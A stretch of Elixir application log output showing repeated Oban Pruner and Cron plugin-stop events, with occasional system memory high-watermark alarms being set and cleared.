11:21:04.459 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:34.462 [info] {"source":"oban","duration":1779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.792 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:04.465 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:34.467 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.795 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:04.469 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:34.471 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.806 [info] {"source":"oban","duration":9585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:04.473 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:34.475 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.808 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:04.479 [info] {"source":"oban","duration":3568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:34.482 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.813 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:04.484 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:34.486 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.814 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:04.488 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:34.490 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.815 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:04.493 [info] {"source":"oban","duration":2240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:34.495 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.816 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:04.497 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:34.500 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.817 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:04.504 [info] {"source":"oban","duration":2198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:34.508 [info] {"source":"oban","duration":2752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.818 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:04.510 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:34.514 [info] {"source":"oban","duration":3471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.829 [info] {"source":"oban","duration":7160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:04.516 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:34.519 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.831 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:04.524 [info] {"source":"oban","duration":3068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:34.529 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.833 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:04.531 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:34.534 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.837 [info] {"source":"oban","duration":2557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:04.536 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:34.538 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.843 [info] {"source":"oban","duration":3376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:04.541 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:34.546 [info] {"source":"oban","duration":2554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.849 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:04.548 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:34.550 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.850 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:04.553 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:34.557 [info] {"source":"oban","duration":3314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.853 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:04.565 [info] {"source":"oban","duration":6766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:34.573 [info] {"source":"oban","duration":7138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.859 [info] {"source":"oban","duration":4285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:04.578 [info] {"source":"oban","duration":2434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:34.582 [info] {"source":"oban","duration":2507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.863 [info] {"source":"oban","duration":3497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:04.583 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:34.585 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.872 [info] {"source":"oban","duration":7794,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:42:04.587 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:28.255 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:42:34.590 [info] {"source":"oban","duration":1807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.878 [info] {"source":"oban","duration":5019,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:04.592 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:34.594 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.881 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:04.597 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:28.266 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 11:44:34.598 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.890 [info] {"source":"oban","duration":7782,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:04.600 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:34.603 [info] {"source":"oban","duration":1780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.892 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:04.609 [info] {"source":"oban","duration":4971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:28.295 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:46:34.613 [info] {"source":"oban","duration":2653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.892 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:04.615 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:34.622 [info] {"source":"oban","duration":5006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.895 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:04.626 [info] {"source":"oban","duration":3214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:34.629 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.898 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:04.633 [info] {"source":"oban","duration":3874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:34.635 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.908 [info] {"source":"oban","duration":3283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:04.637 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:34.639 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.911 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:04.645 [info] {"source":"oban","duration":5345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:28.326 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 11:51:34.647 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.915 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:04.649 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:34.653 [info] {"source":"oban","duration":2682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.919 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:04.656 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:34.658 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.921 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:04.660 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:28.339 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:54:34.664 [info] {"source":"oban","duration":2261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.926 [info] {"source":"oban","duration":2370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:04.668 [info] {"source":"oban","duration":2560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:34.669 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.928 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:04.671 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:34.673 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.933 [info] {"source":"oban","duration":4208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:04.677 [info] {"source":"oban","duration":2719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:34.678 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.935 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:04.680 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:34.690 [info] {"source":"oban","duration":7144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.936 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:04.692 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:34.695 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.938 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:04.697 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:34.699 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.939 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:04.701 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:34.703 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.941 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:04.708 [info] {"source":"oban","duration":3805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:34.710 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.943 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:04.712 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:34.715 [info] {"source":"oban","duration":2551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.944 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:04.718 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:34.720 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.945 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:04.722 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:34.725 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.947 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:04.726 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:34.728 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.947 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:04.730 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:34.735 [info] {"source":"oban","duration":2535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.948 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:04.739 [info] {"source":"oban","duration":3071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:34.741 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.957 [info] {"source":"oban","duration":6288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:04.743 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:34.745 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.960 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:04.749 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:34.751 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.965 [info] {"source":"oban","duration":3223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:04.753 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:34.756 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.966 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:04.757 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:34.761 [info] {"source":"oban","duration":2625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.967 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:04.762 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:34.764 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.968 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:04.766 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:34.768 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.970 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:04.778 [info] {"source":"oban","duration":8627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:34.780 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.972 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:04.782 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:34.784 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.974 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:04.787 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:34.789 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.980 [info] {"source":"oban","duration":5115,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:04.791 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:34.794 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.981 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:04.800 [info] {"source":"oban","duration":2763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:34.803 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.982 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:04.805 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:34.807 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.988 [info] {"source":"oban","duration":4745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:04.809 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:34.812 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.994 [info] {"source":"oban","duration":3036,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:04.817 [info] {"source":"oban","duration":3435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:34.819 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.995 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:04.822 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:34.825 [info] {"source":"oban","duration":1824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.996 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:04.828 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:34.830 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.997 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:04.832 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:34.834 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.001 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:04.836 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:34.842 [info] {"source":"oban","duration":5178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.005 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:04.844 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:34.847 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.007 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:04.849 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:34.851 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.008 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:04.854 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:34.858 [info] {"source":"oban","duration":2760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.009 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:04.860 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:34.863 [info] {"source":"oban","duration":2432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.011 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:04.866 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:34.868 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.012 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:04.870 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:34.872 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.014 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:04.879 [info] {"source":"oban","duration":4253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:34.881 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.015 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:04.883 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:34.885 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.016 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:04.887 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:34.889 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.020 [info] {"source":"oban","duration":2472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:04.892 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:34.894 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.021 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:04.896 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:34.898 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.023 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:04.904 [info] {"source":"oban","duration":5004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:34.906 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.031 [info] {"source":"oban","duration":6828,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:04.910 [info] 